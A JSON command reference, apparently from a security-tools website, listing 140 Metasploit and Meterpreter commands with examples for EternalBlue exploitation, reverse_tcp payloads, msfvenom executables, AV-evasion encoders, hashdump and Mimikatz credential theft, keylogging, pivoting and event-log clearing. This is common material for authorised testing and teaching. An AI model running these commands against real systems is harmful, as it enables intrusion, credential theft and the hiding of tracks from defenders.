{"tool":"metasploit","name":"Metasploit Framework","description":"The most widely used exploitation framework: thousands of exploits, payloads and post-exploitation modules plus a workspace database.","tags":["exploitation","framework","post-exploitation"],"homepage":"https://www.metasploit.com","docs":"https://docs.metasploit.com","install":{"apt":"sudo apt install metasploit-framework","other":"curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall"},"related":["msfconsole","msfvenom","searchsploit","sliver"],"total_commands":140,"commands":[{"id":1,"category":"Core Console Usage","command":"msfconsole","example":"msfconsole","explanation":"Launches the Metasploit Framework interactive console."},{"id":2,"category":"Core Console Usage","command":"msfconsole -q","example":"msfconsole -q","explanation":"Starts the console in quiet mode, suppressing the startup banner."},{"id":3,"category":"Core Console Usage","command":"help","example":"help","explanation":"Displays the main help menu with a list of available commands."},{"id":4,"category":"Core Console Usage","command":"version","example":"version","explanation":"Shows the current version of the Metasploit Framework."},{"id":5,"category":"Core Console Usage","command":"history","example":"history","explanation":"Displays a list of previously executed commands in the current session."},{"id":6,"category":"Core Console Usage","command":"connect","example":"connect 192.168.1.10 80","explanation":"Uses the built-in Netcat-like utility to connect to a remote host and port."},{"id":7,"category":"Database Management","command":"db_status","example":"db_status","explanation":"Checks the connection status to the backend database."},{"id":8,"category":"Database Management","command":"workspace","example":"workspace","explanation":"Lists all available workspaces in the database."},{"id":9,"category":"Database Management","command":"workspace -a","example":"workspace -a Target_Alpha","explanation":"Creates and switches to a new workspace named Target_Alpha."},{"id":10,"category":"Database Management","command":"workspace","example":"workspace Target_Alpha","explanation":"Switches the current active workspace to Target_Alpha."},{"id":11,"category":"Database Management","command":"db_nmap","example":"db_nmap -sV 192.168.1.10","explanation":"Runs Nmap within Metasploit and automatically saves results to the database."},{"id":12,"category":"Database Management","command":"hosts","example":"hosts","explanation":"Lists all hosts found and stored in the current workspace database."},{"id":13,"category":"Database Management","command":"services","example":"services","explanation":"Lists all services and open ports discovered on stored hosts."},{"id":14,"category":"Database Management","command":"services -p","example":"services -p 445","explanation":"Filters and displays only hosts with port 445 open."},{"id":15,"category":"Database Management","command":"vulns","example":"vulns","explanation":"Displays vulnerabilities associated with hosts in the database."},{"id":16,"category":"Database Management","command":"creds","example":"creds","explanation":"Lists all credentials (usernames, passwords, hashes) gathered in the database."},{"id":17,"category":"Module Discovery","command":"search","example":"search eternalblue","explanation":"Searches for modules related to a specific keyword."},{"id":18,"category":"Module Discovery","command":"search type","example":"search type:exploit platform:windows","explanation":"Filters search results by module type and target platform."},{"id":19,"category":"Module Discovery","command":"search cve","example":"search cve:2017-0144","explanation":"Searches for modules matching a specific CVE identifier."},{"id":20,"category":"Module Selection","command":"use","example":"use exploit/windows/smb/ms17_010_eternalblue","explanation":"Selects and loads a specific module for configuration."},{"id":21,"category":"Module Selection","command":"back","example":"back","explanation":"Unloads the current module and returns to the main prompt."},{"id":22,"category":"Module Selection","command":"info","example":"info","explanation":"Displays detailed information, options, and references for the active module."},{"id":23,"category":"Module Configuration","command":"show options","example":"show options","explanation":"Lists the required and optional parameters for the current module."},{"id":24,"category":"Module Configuration","command":"show targets","example":"show targets","explanation":"Lists the operating systems or versions supported by the exploit."},{"id":25,"category":"Module Configuration","command":"show payloads","example":"show payloads","explanation":"Lists compatible payloads for the currently selected exploit."},{"id":26,"category":"Module Configuration","command":"show advanced","example":"show advanced","explanation":"Displays advanced configuration options for fine-tuning the module."},{"id":27,"category":"Module Configuration","command":"set","example":"set RHOSTS 192.168.1.10","explanation":"Configures a specific option (e.g., target IP) for the module."},{"id":28,"category":"Module Configuration","command":"setg","example":"setg RHOSTS 192.168.1.10","explanation":"Sets a global variable that persists across different modules."},{"id":29,"category":"Module Configuration","command":"unset","example":"unset RHOSTS","explanation":"Removes the value of a specific option."},{"id":30,"category":"Module Configuration","command":"set TARGET","example":"set TARGET 3","explanation":"Manually selects a specific target ID from the 'show targets' list."},{"id":31,"category":"Payload Configuration","command":"set PAYLOAD","example":"set PAYLOAD windows/x64/meterpreter/reverse_tcp","explanation":"Assigns a specific payload to be delivered by the exploit."},{"id":32,"category":"Payload Configuration","command":"set LHOST","example":"set LHOST 192.168.1.50","explanation":"Sets the local IP address for the payload to connect back to."},{"id":33,"category":"Payload Configuration","command":"set LPORT","example":"set LPORT 4444","explanation":"Sets the local listening port for the reverse connection."},{"id":34,"category":"Auxiliary Modules","command":"use auxiliary","example":"use auxiliary/scanner/smb/smb_version","explanation":"Selects an auxiliary module used for scanning or enumeration."},{"id":35,"category":"Auxiliary Modules","command":"run","example":"run","explanation":"Executes the currently selected auxiliary or post-exploitation module."},{"id":36,"category":"Exploitation","command":"check","example":"check","explanation":"Attempts to verify if the target is vulnerable without exploiting it."},{"id":37,"category":"Exploitation","command":"exploit","example":"exploit","explanation":"Executes the exploit module against the target."},{"id":38,"category":"Exploitation","command":"exploit -j","example":"exploit -j","explanation":"Runs the exploit in the background as a job."},{"id":39,"category":"Exploitation","command":"exploit -z","example":"exploit -z","explanation":"Exploits the target but keeps the session in the background immediately."},{"id":40,"category":"Job Control","command":"jobs","example":"jobs","explanation":"Lists currently running background jobs."},{"id":41,"category":"Job Control","command":"kill","example":"kill 1","explanation":"Terminates a specific background job by its ID."},{"id":42,"category":"Encoders & Evasion","command":"show encoders","example":"show encoders","explanation":"Lists available encoders to obfuscate the payload."},{"id":43,"category":"Encoders & Evasion","command":"set ENCODER","example":"set ENCODER x86/shikata_ga_nai","explanation":"Applies a specific encoder to the payload to attempt AV evasion."},{"id":44,"category":"Encoders & Evasion","command":"generate","example":"generate -f exe -o shell.exe","explanation":"Generates a payload file (executable) from the current configuration."},{"id":45,"category":"Session Management","command":"sessions","example":"sessions","explanation":"Lists all active sessions connected to the framework."},{"id":46,"category":"Session Management","command":"sessions -i","example":"sessions -i 1","explanation":"Interacts with specific session ID 1."},{"id":47,"category":"Session Management","command":"sessions -k","example":"sessions -k 2","explanation":"Kills and terminates session ID 2."},{"id":48,"category":"Session Management","command":"sessions -u","example":"sessions -u 1","explanation":"Attempts to upgrade a shell session (ID 1) to a Meterpreter session."},{"id":49,"category":"Session Management","command":"background","example":"background","explanation":"Moves the current interactive session to the background."},{"id":50,"category":"Meterpreter: Core","command":"sysinfo","example":"sysinfo","explanation":"Displays system information about the compromised host (OS, Arch, Domain)."},{"id":51,"category":"Meterpreter: Core","command":"getuid","example":"getuid","explanation":"Displays the user identity that the Meterpreter session is running as."},{"id":52,"category":"Meterpreter: Core","command":"getpid","example":"getpid","explanation":"Shows the Process ID (PID) of the current Meterpreter session."},{"id":53,"category":"Meterpreter: Core","command":"getprivs","example":"getprivs","explanation":"Lists the privileges available to the current user process."},{"id":54,"category":"Meterpreter: Core","command":"ps","example":"ps","explanation":"Lists all running processes on the target system."},{"id":55,"category":"Meterpreter: Core","command":"migrate","example":"migrate 1432","explanation":"Moves the Meterpreter session into another process ID to ensure persistence."},{"id":56,"category":"Meterpreter: File System","command":"pwd","example":"pwd","explanation":"Prints the current working directory on the remote target."},{"id":57,"category":"Meterpreter: File System","command":"ls","example":"ls","explanation":"Lists files and directories in the current remote folder."},{"id":58,"category":"Meterpreter: File System","command":"cd","example":"cd C:\\Windows\\Temp","explanation":"Changes the directory on the remote target."},{"id":59,"category":"Meterpreter: File System","command":"cat","example":"cat config.txt","explanation":"Reads and displays the contents of a file on the remote target."},{"id":60,"category":"Meterpreter: File System","command":"lpwd","example":"lpwd","explanation":"Prints the local working directory (on the attacker's machine)."},{"id":61,"category":"Meterpreter: File System","command":"lcd","example":"lcd /root/loot","explanation":"Changes the local working directory on the attacker's machine."},{"id":62,"category":"Meterpreter: File System","command":"upload","example":"upload /root/tools/nc.exe C:\\Windows\\Temp\\nc.exe","explanation":"Uploads a file from the attacker's machine to the target system."},{"id":63,"category":"Meterpreter: File System","command":"download","example":"download C:\\Users\\Alice\\Desktop\\passwords.txt","explanation":"Downloads a file from the target system to the attacker's machine."},{"id":64,"category":"Meterpreter: File System","command":"search","example":"search -f *.docx","explanation":"Searches for files matching a pattern on the remote file system."},{"id":65,"category":"Meterpreter: Networking","command":"ipconfig","example":"ipconfig","explanation":"Displays the network interfaces and IP addresses of the target."},{"id":66,"category":"Meterpreter: Networking","command":"ifconfig","example":"ifconfig","explanation":"Alternative command to display network interfaces (Linux/Unix)."},{"id":67,"category":"Meterpreter: Networking","command":"netstat","example":"netstat","explanation":"Displays active network connections and listening ports on the target."},{"id":68,"category":"Meterpreter: Networking","command":"arp","example":"arp","explanation":"Displays the ARP cache of the target system."},{"id":69,"category":"Meterpreter: Networking","command":"route","example":"route","explanation":"Displays the routing table of the target system."},{"id":70,"category":"Meterpreter: Networking","command":"portfwd add","example":"portfwd add -l 8080 -p 80 -r 10.10.10.5","explanation":"Forwards a local port to a remote service through the Meterpreter session."},{"id":71,"category":"Meterpreter: Networking","command":"portfwd list","example":"portfwd list","explanation":"Lists active port forwarding rules in the current session."},{"id":72,"category":"Meterpreter: Networking","command":"resolve","example":"resolve internal.lab.local","explanation":"Resolves a hostname to an IP address on the target network."},{"id":73,"category":"Meterpreter: System Interaction","command":"shell","example":"shell","explanation":"Drops into a standard system shell (cmd.exe or /bin/bash) on the target."},{"id":74,"category":"Meterpreter: System Interaction","command":"execute","example":"execute -f cmd.exe -i -H","explanation":"Executes a command on the remote target, optionally hidden and interactive."},{"id":75,"category":"Meterpreter: System Interaction","command":"shutdown","example":"shutdown","explanation":"Shuts down the remote computer (Use with extreme caution)."},{"id":76,"category":"Meterpreter: System Interaction","command":"reboot","example":"reboot","explanation":"Reboots the remote computer (Use with extreme caution)."},{"id":77,"category":"Meterpreter: Credential Harvesting","command":"getsystem","example":"getsystem","explanation":"Attempts multiple techniques to elevate privileges to SYSTEM/Root."},{"id":78,"category":"Meterpreter: Credential Harvesting","command":"hashdump","example":"hashdump","explanation":"Dumps the SAM database contents (password hashes) from the target."},{"id":79,"category":"Meterpreter: Credential Harvesting","command":"load kiwi","example":"load kiwi","explanation":"Loads the Kiwi extension (Mimikatz integration) for advanced credential theft."},{"id":80,"category":"Meterpreter: Credential Harvesting","command":"creds_all","example":"creds_all","explanation":"Retrieves all available credentials using the Kiwi extension."},{"id":81,"category":"Meterpreter: User Monitoring","command":"screenshot","example":"screenshot","explanation":"Takes a screenshot of the target's current desktop."},{"id":82,"category":"Meterpreter: User Monitoring","command":"screenshare","example":"screenshare","explanation":"Streams the target's desktop to a browser on the attacker's machine."},{"id":83,"category":"Meterpreter: User Monitoring","command":"keyscan_start","example":"keyscan_start","explanation":"Starts the keylogger to capture keystrokes on the target."},{"id":84,"category":"Meterpreter: User Monitoring","command":"keyscan_dump","example":"keyscan_dump","explanation":"Dumps the captured keystrokes from the memory buffer."},{"id":85,"category":"Meterpreter: User Monitoring","command":"keyscan_stop","example":"keyscan_stop","explanation":"Stops the keylogger capture process."},{"id":86,"category":"Meterpreter: User Monitoring","command":"idletime","example":"idletime","explanation":"Displays how long the remote user has been idle."},{"id":87,"category":"Post Exploitation","command":"use post","example":"use post/windows/gather/enum_applications","explanation":"Selects a post-exploitation module to gather info from a session."},{"id":88,"category":"Post Exploitation","command":"set SESSION","example":"set SESSION 1","explanation":"Links a post-exploitation module to an active session ID."},{"id":89,"category":"Post Exploitation","command":"run post/windows/gather/checkvm","example":"run post/windows/gather/checkvm","explanation":"Checks if the target system is a virtual machine."},{"id":90,"category":"Post Exploitation","command":"run post/windows/manage/migrate","example":"run post/windows/manage/migrate","explanation":"Automatically migrates the session to a stable process."},{"id":91,"category":"Post Exploitation","command":"run post/linux/gather/hashdump","example":"run post/linux/gather/hashdump","explanation":"Dumps password hashes from a Linux target shadow file."},{"id":92,"category":"Post Exploitation","command":"run post/multi/recon/local_exploit_suggester","example":"run post/multi/recon/local_exploit_suggester","explanation":"Suggests local exploits for privilege escalation based on system info."},{"id":93,"category":"Pivoting & Routing","command":"route add","example":"route add 10.10.10.0 255.255.255.0 1","explanation":"Routes traffic for the 10.10.10.0 network through session ID 1."},{"id":94,"category":"Pivoting & Routing","command":"route print","example":"route print","explanation":"Displays the current routing table within Metasploit."},{"id":95,"category":"Pivoting & Routing","command":"run autoroute","example":"run autoroute -s 10.10.10.0/24","explanation":"Automatically adds a route to a subnet via the current Meterpreter session."},{"id":96,"category":"Pivoting & Routing","command":"use auxiliary/server/socks_proxy","example":"use auxiliary/server/socks_proxy","explanation":"Starts a SOCKS proxy to allow external tools to use the pivot."},{"id":97,"category":"Listener Setup","command":"use exploit/multi/handler","example":"use exploit/multi/handler","explanation":"Sets up a generic listener to catch incoming shell/meterpreter connections."},{"id":98,"category":"Listener Setup","command":"set ExitOnSession","example":"set ExitOnSession false","explanation":"Keeps the listener active even after a session is received."},{"id":99,"category":"Logging & Output","command":"spool","example":"spool log_output.txt","explanation":"Saves all console output to a file for documentation."},{"id":100,"category":"Logging & Output","command":"spool off","example":"spool off","explanation":"Stops saving console output to the file."},{"id":101,"category":"Automation & Scripting","command":"makerc","example":"makerc startup.rc","explanation":"Saves the commands executed in the current session to a resource file."},{"id":102,"category":"Automation & Scripting","command":"resource","example":"resource startup.rc","explanation":"Executes a list of commands stored in a resource script file."},{"id":103,"category":"Automation & Scripting","command":"msfconsole -r","example":"msfconsole -r automated.rc","explanation":"Launches Metasploit and immediately runs the specified resource script."},{"id":104,"category":"Payload Generation","command":"msfvenom","example":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe > payload.exe","explanation":"Generates a standalone payload executable from the command line (outside console)."},{"id":105,"category":"Advanced","command":"load","example":"load powershell","explanation":"Loads a plugin (e.g., PowerShell) into the Metasploit framework."},{"id":106,"category":"Advanced","command":"unload","example":"unload kiwi","explanation":"Unloads an active plugin or extension."},{"id":107,"category":"Advanced","command":"advanced","example":"advanced","explanation":"Shows advanced options for the current module (alias for show advanced)."},{"id":108,"category":"Advanced","command":"edit","example":"edit","explanation":"Opens the currently selected module code in the default text editor."},{"id":109,"category":"Advanced","command":"reload_all","example":"reload_all","explanation":"Reloads all modules from the disk, useful if you edited a module."},{"id":110,"category":"Cleanup","command":"clearev","example":"clearev","explanation":"Clears the Application, System, and Security event logs on Windows (Meterpreter)."},{"id":111,"category":"Cleanup","command":"timestomp","example":"timestomp file.txt -v","explanation":"Manipulates file timestamps (MACE attributes) to hide file modification times."},{"id":112,"category":"Web Exploitation","command":"load wmap","example":"load wmap","explanation":"Loads the WMAP web application scanning plugin."},{"id":113,"category":"Web Exploitation","command":"wmap_sites -a","example":"wmap_sites -a http://192.168.1.10","explanation":"Adds a site to the WMAP target list."},{"id":114,"category":"Web Exploitation","command":"wmap_targets -t","example":"wmap_targets -t http://192.168.1.10","explanation":"Sets the target URL for WMAP scanning."},{"id":115,"category":"Web Exploitation","command":"wmap_run -e","example":"wmap_run -e","explanation":"Runs the WMAP modules against the configured targets."},{"id":116,"category":"Defense Evasion","command":"set StageEncoder","example":"set StageEncoder x86/shikata_ga_nai","explanation":"Encodes the second stage of the payload sent over the network."},{"id":117,"category":"Defense Evasion","command":"set EnableStageEncoding","example":"set EnableStageEncoding true","explanation":"Enables encoding for the payload stage to evade network intrusion detection."},{"id":118,"category":"Exploit Options","command":"set AutoRunScript","example":"set AutoRunScript post/windows/manage/migrate","explanation":"Specifies a script to run automatically as soon as a session is created."},{"id":119,"category":"Exploit Options","command":"set PrependMigrate","example":"set PrependMigrate true","explanation":"Configures the payload to migrate to a new process immediately upon execution."},{"id":120,"category":"Credentials","command":"db_import","example":"db_import scan_results.xml","explanation":"Imports scan results from tools like Nessus or Nmap into the database."},{"id":121,"category":"Transport","command":"transport list","example":"transport list","explanation":"Lists available transport mechanisms (e.g., HTTP, TCP) for the current session."},{"id":122,"category":"Transport","command":"transport add","example":"transport add -t reverse_tcp -l 192.168.1.50 -p 5555","explanation":"Adds a secondary transport layer to a Meterpreter session for redundancy."},{"id":123,"category":"Transport","command":"transport next","example":"transport next","explanation":"Forces the Meterpreter session to switch to the next available transport."},{"id":124,"category":"Extensions","command":"load python","example":"load python","explanation":"Loads the Python extension to run Python scripts within Meterpreter."},{"id":125,"category":"Debugging","command":"debug","example":"debug","explanation":"Enables debugging output for troubleshooting module issues."},{"id":126,"category":"Ruby Interaction","command":"irb","example":"irb","explanation":"Drops into an interactive Ruby shell within the current session context."},{"id":127,"category":"Payloads","command":"set HandlerSSLCert","example":"set HandlerSSLCert /path/to/cert.pem","explanation":"Uses a custom SSL certificate for HTTPS listeners to mimic legitimate traffic."},{"id":128,"category":"Pivoting","command":"portfwd delete","example":"portfwd delete -l 8080","explanation":"Removes a specific port forwarding rule."},{"id":129,"category":"Pivoting","command":"portfwd flush","example":"portfwd flush","explanation":"Removes all active port forwarding rules."},{"id":130,"category":"Enumeration","command":"run post/windows/gather/enum_patches","example":"run post/windows/gather/enum_patches","explanation":"Enumerates installed patches on a Windows target to identify missing updates."},{"id":131,"category":"Enumeration","command":"run post/windows/gather/enum_shares","example":"run post/windows/gather/enum_shares","explanation":"Lists network shares available on the target system."},{"id":132,"category":"Enumeration","command":"run post/multi/gather/env","example":"run post/multi/gather/env","explanation":"Reads the environment variables from the target system."},{"id":133,"category":"Exploitation","command":"set ForceExploit","example":"set ForceExploit true","explanation":"Forces the exploit to run even if the check determines the target is not vulnerable."},{"id":134,"category":"General","command":"notes","example":"notes","explanation":"Displays any notes manually added to the database regarding hosts."},{"id":135,"category":"General","command":"loot","example":"loot","explanation":"Lists all gathered loot (hashes, files) stored in the database."},{"id":136,"category":"Meterpreter: Incognito","command":"load incognito","example":"load incognito","explanation":"Loads the Incognito extension for token manipulation."},{"id":137,"category":"Meterpreter: Incognito","command":"list_tokens -u","example":"list_tokens -u","explanation":"Lists available delegation and impersonation tokens by user."},{"id":138,"category":"Meterpreter: Incognito","command":"impersonate_token","example":"impersonate_token \"DOMAIN\\Administrator\"","explanation":"Impersonates the specified user token to escalate privileges."},{"id":139,"category":"Cleanup","command":"rm","example":"rm C:\\Windows\\Temp\\payload.exe","explanation":"Deletes a file on the remote system (Standard Meterpreter command)."},{"id":140,"category":"Termination","command":"exit","example":"exit","explanation":"Exits the Metasploit console."}],"slug":"metasploit","category":"exploitation","url":"https://terminal.rokibulroni.com/tool/exploitation/metasploit","markdown":"https://terminal.rokibulroni.com/api/v1/tools/exploitation/metasploit.md"}